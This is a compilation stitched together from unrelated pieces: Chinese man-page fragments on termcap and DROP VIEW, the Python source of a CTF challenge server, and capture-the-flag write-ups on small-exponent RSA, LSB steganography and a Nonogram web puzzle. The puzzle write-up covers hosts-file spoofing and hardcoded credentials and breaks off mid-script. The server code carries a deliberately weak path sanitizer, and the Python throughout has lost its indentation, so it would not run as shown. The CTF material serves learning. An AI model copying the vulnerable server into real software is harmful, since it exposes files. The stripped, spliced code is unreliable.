F2 由功能键F12发送的字符串
F3 由功能键F14发送的字符串
\&... \&...
F9 由功能键F19发送的字符串
FA 由功能键F20发送的字符串
FB 由功能键F21发送的字符串
\&... \&...
FZ 由功能键F45发送的字符串
Fa 由功能键F46发送的字符串
Fb 由功能键F47发送的字符串
\&... \&...
Fr 由功能键F63发送的字符串
hd 移动光标到下一行的中间
ho 光标置初始位
hu 移动光标到上一行的中间
i1 登录时,初始化的字符串1
i3 登录时,初始化的字符串3
is 登录时,初始化的字符串2
ic 插入一个字符
IC 插入%1个字符
if 初始化文件
im 开始插入模式
ip 插入填充时间和插入后所需要的特殊字符
iP 初始化程序
K1 辅助键盘的上左键
K2 辅助键盘的center键
K3 辅助键盘的上右键
K4 辅助键盘的底部左键
K5 辅助键盘的底部右键
k0 功能键0
k1 功能键1
k2 功能键2
k3 功能键3
k4 功能键4
k5 功能键5
k6 功能键6
k7 功能键7
k8 功能键8
k9 功能键9
k; 功能键10
ka 清除所有的tab键
kA 插入行键
kb 退格键
kB 退回tab停止位
kC 清屏键
kd 光标下移键
kD 删除光标下的字符键
ke 关闭辅助键盘
kE 清除到行末
kF 向前/后滚卷
kh 光标置初始位键
kH 光标hown down键
kI 插入字符/插入模式键
kl 光标左移键
kL 整行删除键
kM 退出插入模式
kN 下一页
kP 上一页
kr 光标右移键
kR 向后/前滚卷键
ks 开辅助键盘
kS 清除到屏幕末端
kt 清除这个tab键
kT 设置这儿的tab键
ku 光标向上键
l0 如果没有f0,第零个标签功能键
l1 如果没有f1,第一个标签功能键
l2 如果没有f2,第二个标签功能键
\&... \&...
la 如果没有f10,第十个标签功能键
le 光标左移一个字符
ll 移动光标到左底角
LE 光标左移%1个字符
LF 关闭软标签
LO 开启软标签
mb 开始闪烁
MC 清除软标记
md 开始粗体模式
me 开始所有的模式如so, us, mb, md 和 mr
mh 开始半闪烁模式
mk 暗模式 (看不见字符)
ML 设置左软标记
mm 使终端为meta模式
mo 使终端离开meta模式
mp 打开保护属性
mr 开始反亮模式
MR 设置右软标记
nd 光标右移一个字符
nw 回车命令
pc 填充字符
pf 关闭打印机
pk 对键%1编程,如同用户打印一样发送字符串%2
pl 对键%1编程,以本地模式执行字符串%2
pn 对软标签%1编程来显示字符串%2
po 打开打印机
pO 打开打印机%1 (<256)字节
ps 在打印机上打印屏幕内容
px 对键%1编程来发送字符串%2给计算机
r1 向设定的终端重置字符串1到sane模式
r2 向设定的终端重置字符串2到sane模式
r3 向设定的终端重置字符串3到sane模式
RA 取消自动标记功能
rc 恢复存储的光标位置
rf 重设字符串文件名
RF 终端输入请求
RI 光标右移%1个字符
rp 重复字符%1,共%2次
rP 替换模式中,在字符发送后填充
rs 重设字符串
RX 关闭XON/XOFF流量控制
sa 设置 %1 %2 %3 %4 %5 %6 %7 %8 %9属性
SA 激活自动标记功能
sc 保存光标位置
se 结束突出模式
sf 正常滚卷一行
SF 正常滚卷%1行
so 开始突出模式
sr 反向滚卷
SR 向上滚卷%1行
st 设置所有行的制表符的停止位到当前列
SX 打开XON/XOFF流量控制
ta 移动到下一个硬件tab
tc 从另一个登记项读取终端描述
te 结束使用光标动作的程序
ti 开始光标动作的程序
ts 移动光标到状态行的%1列
uc 光标下方字符下划线,并向右移动光标
ue 结束下划线
up 光标向上一行
UP 光标向上%1行
us 开始下划线
vb 可视化闹铃
ve 正常的可见光标
vi 光标不可见
vs 突出光标
wi 设置窗口,从%1行到%2行,从3%列到4%列
XF XOFF字符,如果没有 ^S
.fi
.LP
还有一些方法定义字符串值功能的控制代码:
.LP
通常的字符表示它们自己,除了 '^','\' 和 '%' 。
.LP
一个 '^x' 表示Control-x. Control-A等于 1 个10进制数。
.LP
\\x 表示一个特殊的代码。x 可以是以下的一个字符:
.RS
E 转义符 Escape (27)
.br
n 换行 Linefeed (10)
.br
r 回车 Carriage return (13)
.br
t 制表符 Tabulation (9)
.br
b 退格 Backspace (8)
.br
f 走纸符 Form feed (12)
.br
0 空字符 Null character. \exxx 指定八进制为 xxx 的字符.
.RE
.IP i
逐一增加参数
.IP r
单个参数功能
.IP +
增加下一个字符的值到这个参数并以二进制输出
.IP 2
对于2,用一个字段将参数以ASCII输出
.IP d
对于3,用一个字段将参数以ASCII输出
.IP %
打印一个 '%'
.LP
如果你使用二进制输出,那么你应该避免空字符,因为它是字符串的终止符。如果Tab键能够成为一个参数的二进制输出,你应该重新设置Tab键长度。
.IP 警告:
以上参数的元字符是针对 Minix 系统的 termcap,可能有一些问题,因为可能不是完全与 Linux 的 termcap 兼容的。
.LP
图形字符块通过三个字符串值功能来指定:
.IP as
开始替代的字符集
.IP ae
结束
.IP ac
字符对。第一个字符是图形字符块的名称,第二个字符是它的定义。
.LP
可以用下面这些名称:
.sp
.nf
+ 右箭头 right arrow (>)
, 左箭头 left arrow (<)
\&. 下箭头 down arrow (v)
0 全直角 full square (#)
I 上箭头 latern (#)
- 上箭头 upper arrow (^)
\&' 菱形 rhombus (+)
a 棋板 chess board (:)
f 度数 degree (')
g 加-减 plus-minus (#)
h 正方形 square (#)
j 右下角 right bottom corner (+)
k 右上角 right upper corner (+)
l 左上角 left upper corner (+)
m 左下角 left bottom corner (+)
n 十字 cross (+)
o 顶线 upper horizontal line (-)
q 中线 middle horizontal line (-)
s 下划线 bottom horizontal line (_)
t 左侧T型 left tee (+)
u 右侧T型 right tee (+)
v 底部T型 bottom tee (+)
w 常规T型 normal tee (+)
x 垂直线 vertical line (|)
~ 段落 paragraph (???)
.fi
.sp
如果缺少相应功能,将缺省使用圆括号中的值,那是 curses 库使用的值。
.SH "参见 SEE ALSO"
.BR termcap (3),
.BR curses (3),
.BR terminfo (5)
.SH "[中文版维护人]"
.B Timebob <timebob@21cn.com>
.SH "[中文版最新更新]"
.B 2000.12.15
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import hmac
import socket
from hashlib import sha1
from Crypto.Cipher import AES
from struct import pack, unpack
from threading import Thread, Lock
from base64 import standard_b64encode
from time import time, sleep, strftime
class SecureServer:
def __init__(self):
self.msg_end = '</msg>'
self.msg_not_found = 'NOT_FOUND'
self.msg_wrong_pin = 'BAD_PIN'
self.lock = Lock()
self.log_path = '../top_secret/server.log'
self.real_flag = '../top_secret/real.flag'
self.aes_key = '../top_secret/aes.key'
self.totp_key = 'totp.secret'
self.files_available = [
'lorem.txt',
'flag.txt',
'admin.txt',
'password.txt'
]
self.host = '0.0.0.0'
self.port = 7331
self.buff_size = 1024
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
self.sock.listen(50)
self.listener = Thread(target=self.listen)
self.listener.daemon = True
self.listener.start()
self.log('Server started')
def listen(self):
while True:
try:
client, address = self.sock.accept()
client.settimeout(30)
sock_thread = Thread(target=self.handle, args=(client, address))
sock_thread.daemon = True
sock_thread.start()
self.log('Client {0} connected'.format(address[0]))
except Exception as ex:
self.log(ex)
def handle(self, client, address):
data = self.recv_until(client, self.msg_end)
self.log('Got message from client {0}: {1}'.format(address[0], data))
args = data.split(' ', 1)
command = args[0].strip()
if command == 'list':
self.send_list_files(client, address)
elif command == 'login':
self.send_login_time(client, address)
elif command == 'file':
if len(args) != 2:
self.send(client, 'Bad request')
else:
self.send_file_data(args[1], client, address)
elif command == 'admin':
if len(args) != 2:
self.send(client, 'Bad request')
else:
self.send_admin_token(args[1], client, address)
else:
self.send(client, 'Bad request or timed out')
client.close()
def send_list_files(self, client, address):
self.send(client, ','.join(self.files_available))
self.log('Sending available files list to client {0}'.format(address[0]))
def send_login_time(self, client, address):
self.send(client, int(time()))
self.log('Client auth from {0}'.format(address[0]))
def send_file_data(self, file, client, address):
content = self.read_file(file)
response = '{0}: {1}'.format(file, content)
encrypted_response = self.encrypt(response)
self.send(client, encrypted_response)
self.log('Sending file "{0}" to client {1}'.format(file, address[0]))
def send_admin_token(self, client_pin, client, address):
try:
if self.check_totp(client_pin):
response = 'flag: {0}'.format(open(self.real_flag).read())
self.send(client, response)
self.log('Sending admin token to client {0}'.format(address[0]))
else:
self.send(client, self.msg_wrong_pin)
self.log('Wrong pin from client {0}'.format(address[0]))
except Exception as ex:
self.log(ex)
self.send(client, 'Bad request')
def check_totp(self, client_pin):
try:
secret = open(self.totp_key).read()
server_pin = self.totp(secret)
return client_pin == server_pin
except Exception as ex:
self.log(ex)
return False
def totp(self, secret):
counter = pack('>Q', int(time()) // 30)
totp_hmac = hmac.new(secret.encode('UTF-8'), counter, sha1).digest()
offset = totp_hmac[19] & 15
totp_pin = str((unpack('>I', totp_hmac[offset:offset + 4])[0] & 0x7fffffff) % 1000000)
return totp_pin.zfill(6)
def encrypt(self, data):
block_size = 16
data = data.encode('utf-8')
pad = block_size - len(data) % block_size
data = data + (pad * chr(pad)).encode('utf-8')
key = open(self.aes_key).read()
cipher = AES.new(key, AES.MODE_ECB)
return standard_b64encode(cipher.encrypt(data)).decode('utf-8')
def read_file(self, file):
try:
clean_path = self.sanitize(file)
if clean_path is not None:
return open(clean_path).read()
else:
return self.msg_not_found
except Exception as ex:
self.log(ex)
return self.msg_not_found
def sanitize(self, file):
try:
if file.find('\x00') == -1:
file_name = file
else:
file_name = file[:file.find('\x00')]
file_path = os.path.realpath('files/{0}'.format(file_name))
if file_path.startswith(os.getcwd()):
return file_path
else:
return None
except Exception as ex:
self.log(ex)
return None
def send(self, client, data):
client.send('{0}{1}'.format(data, self.msg_end).encode('UTF-8'))
def recv_until(self, client, end):
try:
recv = client.recv(self.buff_size).decode('utf-8')
while recv.find(end) == -1:
recv += client.recv(self.buff_size).decode('utf-8')
return recv[:recv.find(end)]
except Exception as ex:
self.log(ex)
return ''
def log(self, data):
self.lock.acquire()
print('[{0}] {1}'.format(strftime('%d.%m.%Y %H:%M:%S'), data))
sys.stdout.flush()
self.lock.release()
if __name__ == '__main__':
secure_server = SecureServer()
while True:
try:
sleep(1)
except KeyboardInterrupt:
secure_server.log('Server terminated')
exit(0)
|
sec-knowleage
|
# miniRSA
Cryptography, 300 points
## Description:
> Lets decrypt this: ciphertext? Something seems a bit small
```
N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e: 3
ciphertext (c): 2205316413931134031074603746928247799030155221252519872649602375643231006596573791863783976856797977916843724727388379790172135717557077760267874464115099065405422557746246682213987550407899612567166189989232143975665175662662107329564517
```
## Solution:
This challenge is similar to last year's [Safe RSA](/2018_picoCTF/Safe%20RSA.md).
We'll reuse the script from the previous challenge:
```python
import gmpy2
n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e = 3
cipher_str = 2205316413931134031074603746928247799030155221252519872649602375643231006596573791863783976856797977916843724727388379790172135717557077760267874464115099065405422557746246682213987550407899612567166189989232143975665175662662107329564517
gs = gmpy2.mpz(cipher_str)
gm = gmpy2.mpz(n)
ge = gmpy2.mpz(e)
root, exact = gmpy2.iroot(gs, ge)
print format(root, 'x').decode('hex')
```
Output:
```console
root@kali:/media/sf_CTFs/pico/miniRSA# python solve.py
picoCTF{n33d_a_lArg3r_e_11db861f}
```
|
sec-knowleage
|
# Investigative Reversing 3
Forensics, 400 points
## Description:
> We have recovered a binary and an image See what you can make of it. There should be a flag somewhere.
## Solution:
This is the follow-up for [Investigative Reversing 2](Investigative_Reversing_2.md).
Again, let's check the binary with Ghidra:
```c
undefined8 main(void)
{
long lVar1;
size_t sVar2;
ulong uVar3;
long in_FS_OFFSET;
byte b;
char local_7d;
int bytes_read;
int i;
uint j;
int k;
undefined4 local_6c;
int limit;
int bytes_read_from_flag;
FILE *flag_file;
FILE *original_file;
FILE *encoded_file;
byte flag [50];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
local_6c = 0;
flag_file = fopen("flag.txt","r");
original_file = fopen("original.bmp","r");
encoded_file = fopen("encoded.bmp","a");
if (flag_file == (FILE *)0x0) {
puts("No flag found, please make sure this is run on the server");
}
if (original_file == (FILE *)0x0) {
puts("No output found, please run this on the server");
}
sVar2 = fread(&b,1,1,original_file);
bytes_read = (int)sVar2;
limit = 0x2d3;
i = 0;
while (i < limit) {
fputc((int)(char)b,encoded_file);
sVar2 = fread(&b,1,1,original_file);
bytes_read = (int)sVar2;
i = i + 1;
}
sVar2 = fread(flag,50,1,flag_file);
bytes_read_from_flag = (int)sVar2;
if (bytes_read_from_flag < 1) {
puts("Invalid Flag");
/* WARNING: Subroutine does not return */
exit(0);
}
j = 0;
while ((int)j < 100) {
if ((j & 1) == 0) {
k = 0;
while (k < 8) {
uVar3 = codedChar(k,flag[(int)j / 2],b);
local_7d = (char)uVar3;
fputc((int)local_7d,encoded_file);
fread(&b,1,1,original_file);
k = k + 1;
}
}
else {
fputc((int)(char)b,encoded_file);
fread(&b,1,1,original_file);
}
j = j + 1;
}
while (bytes_read == 1) {
fputc((int)(char)b,encoded_file);
sVar2 = fread(&b,1,1,original_file);
bytes_read = (int)sVar2;
}
fclose(encoded_file);
fclose(original_file);
fclose(flag_file);
if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
ulong codedChar(int param_1,byte param_2,byte param_3)
{
byte local_20;
local_20 = param_2;
if (param_1 != 0) {
local_20 = (byte)((int)(char)param_2 >> ((byte)param_1 & 0x1f));
}
return (ulong)(param_3 & 0xfe | local_20 & 1);
}
```
We see that the flag is encoded using LSB encoding, in a similar manner to the previous challenge. This time, the encoding starts from offset 0x2d3. 8 bits of payload are encoded in the LSB of 8 bytes of the image, and then one byte of the original image is placed as-is.
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_3# xxd -g 1 -s $((0x2d3 - 32)) -l $((50*8 + 48 + 64)) encoded.bmp
000002b3: 60 e0 00 80 80 00 00 80 80 20 00 80 80 40 00 80 `........ ...@..
000002c3: 80 60 00 80 80 80 00 80 80 a0 00 80 80 c0 00 80 .`..............
000002d3: 80 e0 00 80 a1 01 01 80 a0 21 00 80 a1 40 01 81 .........!...@..
000002e3: a0 60 01 81 a0 80 00 81 a1 a0 00 81 a1 c1 01 80 .`..............
000002f3: a1 e1 00 80 c1 01 00 80 c0 20 01 80 c0 40 00 81 ......... ...@..
00000303: c0 61 00 81 c0 80 00 81 c1 a0 00 80 c1 c0 00 81 .a..............
00000313: c1 e0 01 81 e1 01 00 80 e0 20 01 80 e1 41 00 80 ......... ...A..
00000323: e0 60 01 81 e1 80 01 81 e0 a0 00 80 e0 c0 01 81 .`..............
00000333: e0 e0 00 c0 00 01 00 c1 01 21 00 c0 00 40 00 c1 .........!...@..
00000343: 00 61 01 c0 00 81 01 c0 00 a1 01 c0 00 c0 00 c1 .a..............
00000353: 00 e0 01 c1 21 00 00 c1 21 21 01 c1 20 41 00 c0 ....!...!!.. A..
00000363: 20 60 01 c1 20 80 01 c0 20 a1 00 c1 20 c1 01 c0 `.. ... ... ...
00000373: 20 e0 00 c1 40 00 00 c1 41 20 00 c1 41 41 01 c1 ...@...A ..AA..
00000383: 40 61 00 c0 40 80 00 c0 41 a1 01 c0 40 c0 01 c0 @a..@...A...@...
00000393: 40 e1 01 c1 60 00 00 c0 60 20 01 c1 60 40 00 c0 @...`...` ..`@..
000003a3: 61 60 00 c0 61 81 00 c0 60 a0 01 c1 60 c1 01 c0 a`..a...`...`...
000003b3: 60 e1 01 c0 80 01 01 c0 80 20 01 c0 81 41 00 c1 `........ ...A..
000003c3: 81 60 00 c1 81 81 01 c1 80 a1 00 c0 80 c0 00 c0 .`..............
000003d3: 81 e1 00 c0 a0 00 00 c0 a0 21 01 c0 a0 40 00 c0 .........!...@..
000003e3: a0 60 01 c1 a0 80 00 c0 a0 a0 00 c1 a1 c0 00 c0 .`..............
000003f3: a0 e0 00 c0 c1 01 00 c0 c0 20 00 c0 c0 41 01 c0 ......... ...A..
00000403: c0 60 00 c0 c0 80 01 c1 c0 a0 00 f0 fa fe 00 a5 .`..............
00000413: a1 a0 00 80 80 80 00 00 01 ff 00 00 ff 00 00 00 ................
00000423: fe ff 01 fe 00 00 00 fe 00 fe 01 ff fe 00 00 fe ................
00000433: fe fe 00 e9 e9 e8 e8 e8 e8 e8 e8 e8 e9 e9 e8 e8 ................
00000443: e8 e9 e8 e8 e8 e9 e9 e8 e8 e8 e8 e8 e8 e9 e9 e9 ................
00000453: e8 e8 e8 e9 e8 e8 e8 e8 e9 e9 e8 e8 e8 e9 e8 e8 ................
00000463: e9 e9 e8 e8 e8 e9 e9 e9 e8 e9 e9 e8 e8 e8 e8 e8 ................
00000473: e8 e8 e9 e9 e8 e8 e8 e9 e8 e8 e8 e8 e9 e9 e8 e8 ................
00000483: e9 e8 e9 e8 e8 e9 e9 e8 e8 e9 e8 e9 e9 e9 e9 e9 ................
00000493: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
000004a3: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
```
We reverse the logic with the following script:
```python
from pwn import *
with open("encoded.bmp", "rb") as b:
b.seek(0x2d3)
bin_str = ""
for j in range(100):
if ((j & 1) == 0):
for k in range(8):
bin_str += str(ord(b.read(1)) & 1)
else:
b.read(1)
char_str = unbits(bin_str, endian = 'little')
print char_str
```
The result:
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_3# python solve.py
picoCTF{4n0th3r_L5b_pr0bl3m_000000000000018a270ae}
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "DROP VIEW" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
DROP VIEW \- 删除一个视图
.SH SYNOPSIS
.sp
.nf
DROP VIEW \fIname\fR [, ...] [ CASCADE | RESTRICT ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBDROP VIEW\fR 从数据库中删除一个现存的视图。 执行这条命令必须是视图的所有者。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
要删除的视图名称(可以有模式修饰)。
.TP
\fBCASCADE\fR
自动删除依赖此视图的对象(比如其它视图)。
.TP
\fBRESTRICT\fR
如果有依赖对象存在,则拒绝删除此视图。这个是缺省。
.SH "EXAMPLES 例子"
.PP
下面命令将删除视图 kinds:
.sp
.nf
DROP VIEW kinds;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
这条命令遵循 SQL 标准。
.SH "SEE ALSO 参见"
CREATE VIEW [\fBcreate_view\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Puzzle
Category: Web, 300 points
## Description
> Nati Plemental applied for a job in the ISA. As a recruitment assignment, he was challenged to solve our puzzle. Unfortunately, instead of focusing on actually solving the puzzle, Nati wasted his time and effort on adding meaningless features.
>
> Nati was not good enough. We decided not to recruit him.
>
> **Note:** This is not a typical WEB challenge.
## Solution:
Attached to this challenge is a zip archive called `solgen.zip`. Let's unzip it:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# unzip solgen.zip
Archive: solgen.zip
inflating: WpfAnimatedGif.dll
inflating: Newtonsoft.Json.dll
inflating: PuzzleSolver.exe
inflating: PuzzleSolver.exe.config
inflating: System.Net.Http.Formatting.dll
root@kali:/media/sf_CTFs/shabak/Puzzle# file PuzzleSolver.exe
PuzzleSolver.exe: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
```
So this is a .NET Windows executable. Let's try to run it:

Since we weren't even asked to provide a username and password, and since this is a web challenge after all, let's run Wireshark and see if there's any network traffic in the background.
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# tshark -r capture.pcapng
Running as user "root" and group "root". This could be dangerous.
1 0.000000 10.0.2.15 → 192.168.1.1 DNS 87 Standard query 0xb378 A puzzle.shieldchallenges.com 55192 53
2 0.015371 192.168.1.1 → 10.0.2.15 DNS 219 Standard query response 0xb378 A puzzle.shieldchallenges.com CNAME a0a6f4ca2b1cd40c293e90254b1d8789-599794142.eu-central-1.elb.amazonaws.com A 18.195.143.130 A 52.28.127.52 A 18.158.71.177 53 55192
3 0.107807 10.0.2.15 → 18.195.143.130 TCP 66 49940 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1 49940 80
4 0.224201 18.195.143.130 → 10.0.2.15 TCP 60 80 → 49940 [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1460 80 49940
5 0.224316 10.0.2.15 → 18.195.143.130 TCP 54 49940 → 80 [ACK] Seq=1 Ack=1 Win=64240 Len=0 49940 80
6 0.226310 10.0.2.15 → 18.195.143.130 HTTP 172 GET /api/credentials HTTP/1.1 49940 80
7 0.226985 18.195.143.130 → 10.0.2.15 TCP 60 80 → 49940 [ACK] Seq=1 Ack=119 Win=65535 Len=0 80 49940
8 0.348690 18.195.143.130 → 10.0.2.15 HTTP 272 HTTP/1.1 200 OK (application/json) 80 49940
9 0.396551 10.0.2.15 → 18.195.143.130 TCP 54 49940 → 80 [ACK] Seq=119 Ack=219 Win=64022 Len=0 49940 80
10 6.134784 10.0.2.15 → 18.195.143.130 TCP 54 49940 → 80 [RST, ACK] Seq=119 Ack=219 Win=0 Len=0 49940 80
```
We see a call to `/api/credentials` in frame #6 and a response in frame #8:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# tshark -nr capture.pcapng -qz follow,tcp,ascii,0
Running as user "root" and group "root". This could be dangerous.
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 10.0.2.15:49940
Node 1: 18.195.143.130:80
118
GET /api/credentials HTTP/1.1
Accept: application/json
Host: puzzle.shieldchallenges.com
Connection: Keep-Alive
218
HTTP/1.1 200 OK
Server: nginx/1.15.3
Date: Mon, 11 Jan 2021 21:14:10 GMT
Content-Type: application/json
Content-Length: 64
Connection: keep-alive
{"username": null, "password": null, "Error": "Deprecated API"}
===================================================================
```
The response received claims that the credentials API is deprecated.
Let's try it ourselves:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/credentials
{"username": null, "password": null, "Error": "Deprecated API"}
```
No luck here. We can't get the credentials from the network. But the application needs to check the credentials against something, right? So let's pop up dotPeek (a .NET disassembler) and check the code:
```csharp
namespace PuzzleSolver
{
public class APIClient
{
private HttpClient client;
private string targetAPI = "puzzle.shieldchallenges.com";
private int targetPort = 80;
public APIClient()
{
this.client = new HttpClient()
{
BaseAddress = new Uri(string.Format("http://{0}:{1}", (object) this.targetAPI, (object) this.targetPort))
};
this.client.DefaultRequestHeaders.Accept.Clear();
this.client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
}
public async Task<bool> ValidateCredentialsAsync()
{
HttpResponseMessage async = await this.client.GetAsync("/api/credentials");
if (async.IsSuccessStatusCode)
{
Credentials credentials = await async.Content.ReadAsAsync<Credentials>();
if ("Test_User" == credentials.Username && "SecretPassw0rd" == credentials.Password)
return true;
}
return false;
}
public async Task<Puzzle[]> GetPuzzlesAsync()
{
string requestUri = "/api/puzzle";
PuzzleList puzzleList = (PuzzleList) null;
HttpResponseMessage async = await this.client.GetAsync(requestUri);
if (async.IsSuccessStatusCode)
puzzleList = await async.Content.ReadAsAsync<PuzzleList>();
Puzzle[] puzzles = puzzleList.puzzles;
puzzleList = (PuzzleList) null;
return puzzles;
}
public void TODO_GetToken(string username, string password, int puzzleID)
{
int num = (int) MessageBox.Show("Error - Not implemented yet", "/api/token");
}
public void TODO_PatchPuzzle(int puzzleID, string token)
{
int num = (int) MessageBox.Show("Error - Not implemented yet", string.Format("/api/puzzle/{0}", (object) puzzleID));
}
}
}
```
So we can see that the program stores the expected username and password in plaintext: `Test_User:SecretPassw0rd`. We also see a few more APIs which we'll get to later on. For now, let's try to spoof the API server in order to provide the program with the credentials it wants. For that, we edit our `hosts` file and add an entry for `127.0.0.1 puzzle.shieldchallenges.com`. Then, we launch the following Python script:
```python
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
import json
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse(self.path)
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()
print(parsed_path)
if parsed_path.path == "/api/credentials":
self.wfile.write(json.dumps({
'username': "Test_User",
'password': "SecretPassw0rd"
}).encode())
if __name__ == '__main__':
server = HTTPServer(('localhost', 80), RequestHandler)
print('Starting server at http://localhost:80')
server.serve_forever()
```
Let's start the program again:

This is closer but we still have that gray box in the middle to deal with. If we check the fake-server log, we can see that the program made another request to a different API:
```console
Starting server at http://localhost:80
127.0.0.1 - - [17/Jan/2021 22:16:17] "GET /api/credentials HTTP/1.1" 200 -
ParseResult(scheme='', netloc='', path='/api/credentials', params='', query='', fragment='')
127.0.0.1 - - [17/Jan/2021 22:16:45] "GET /api/puzzle HTTP/1.1" 200 -
ParseResult(scheme='', netloc='', path='/api/puzzle', params='', query='', fragment='')
```
So we can check what's there and return it:
```console
root@kali:/media/sf_CTFs/shabak/Puzzle# curl http://puzzle.shieldchallenges.com/api/puzzle
{"puzzles": [{"id": 0, "name": "SpaceInvaders", "rows": "1 1,1 1,7,2 3 2,11,1 7 1,1 1 1 1,2 2,0", "columns": "3,2,1 5,2 2 1,4 1,4,4 1,2 2 1,1 5,2,3"}, {"id": 1, "name": "X", "rows": "1 1,1,1 1", "columns": "1 1,1,1 1"}, {"id": 2, "name": "1337", "rows": "1 3 3 3,1 1 1 1,1 3 3 1,1 1 1 1,1 3 3 1", "columns": "5,0,1 1 1,1 1 1,5,0,1 1 1,1 1 1,5,0,1,1 2,3"}, {"id": 3, "name": "TopSecret", "rows": "7,12,3 2 2 4,4 2 2 2,2 2 2 2 2,3 2 2 2 2,4 2 2 2 2,4 2 2 2 2,1 2 2 2 2 2,2 2 2 2 2 2,2 2 2 2 2 2,4 2 2 2 2,3 2 2 2 2,2 2 2 2 2,2 4 2 2 2,5 2 2 2,3 2 2 2, 2 3 2 2,7 2 2,4 3 2,2 3 2,2 4 3,4 3,13,9", "columns": "8,13,3 2 5,8 2 3,8 2 4,2 2 2 2,13 2 2,12 2 3,1 2 4,17 2 2,16 3 2,2 2 2,2 3 2,19 2,17 2,2 2,2 2,2 2,2 2,2 2,2 2,2 3,3 3,13,9"}, {"id": 4, "name": "StarOfDavid", "rows": "1,3,2 2,13,1 2 2 1,2 2,2 2,2 2,2 2,1 2 2 1,13,2 2,3,1", "columns": "1 1,2 2,1 4 1,8,3 3,3 3,2 1 1 2,3 3,3 3,8,1 4 1,2 2,1 1"}, {"id": 5, "name": "QR", "rows": "7 2 1 7,1 1 1 1 1 1,1 3 1 1 1 1 1 3 1,1 3 1 1 2 1 3 1,1 3 1 3 1 3 1,1 1 1 1,7 1 1 1 7,2,4 1 1 1 1 3 1,1 2 1 1 1 1 3,1 1 2 1 1 5 3,2 3 2 1,2 1 2 1 2 1 1 1 1,1 1 1 1 1 1,7 2 1 2,1 1 6 1 1,1 3 1 2 1 1 1,1 3 1 1 1 1 1,1 3 1 1 1 3,1 1 5 1 2 2,7 2 2 1 1 1", "columns": "7 1 1 1 7,1 1 1 1 1 1,1 3 1 2 1 3 1,1 3 1 1 1 1 1 3 1,1 3 1 1 1 1 3 1,1 1 4 1 1,7 1 1 1 7,1 1,1 3 1 1 4 4,2 1 1 1 1 2,1 1 5 2 2 1,1 1 2 3,4 1 3 1 2,1 6 1,7 1 3 1,1 1 2 1 1,1 3 1 1 1 1 1 3,1 3 1 2 2 3,1 3 1 3 3 1,1 1 3 2 1 2,7 1 1 2 1 1 "}]}
```
We can modify our script to return this when the server is queried for `/api/puzzle` and try to run the program again:

Now it's clear what this is - a [Nonogram](https://en.wikipedia.org/wiki/Nonogram) solver! Unfortunately, none of the buttons really work, and the only thing that seems to work is the dropdown menu that allows the user to move between the different puzzles. So, it looks like we won't be able to use the puzzle solver to solve this challenge.
Fortunately, there are other Nonogram solvers out there, such as [this one](https://github.com/fmakdemir/nonogram-solver/blob/master/nonogramsolver.py). Let's use it to solve the Nonograms.
```python
from enum import Enum
from pwn import *
# https://github.com/fmakdemir/nonogram-solver/blob/master/nonogramsolver.py
import nonogramsolver
import requests
import json
import io
from unittest.mock import patch, mock_open
BASE_URL = "http://puzzle.shieldchallenges.com"
def get_puzzles():
res = {}
r = requests.get(f"{BASE_URL}/api/puzzle")
puzzles = r.json()
for puzzle in puzzles["puzzles"]:
res[str(puzzle["id"])] = puzzle
return res
def translate_puzzle(service_format):
nonogram_solver_format = {
"r" : [[int(x) for x in row.strip(" ").split(" ")] for row in service_format["rows"].split(",")],
"c" : [[int(x) for x in column.strip(" ").split(" ")] for column in service_format["columns"].split(",")],
}
return nonogram_solver_format
def solve(puzzle):
with log.progress('Solving Nonogram...'):
puzzle_data = json.dumps(translate_puzzle(puzzle))
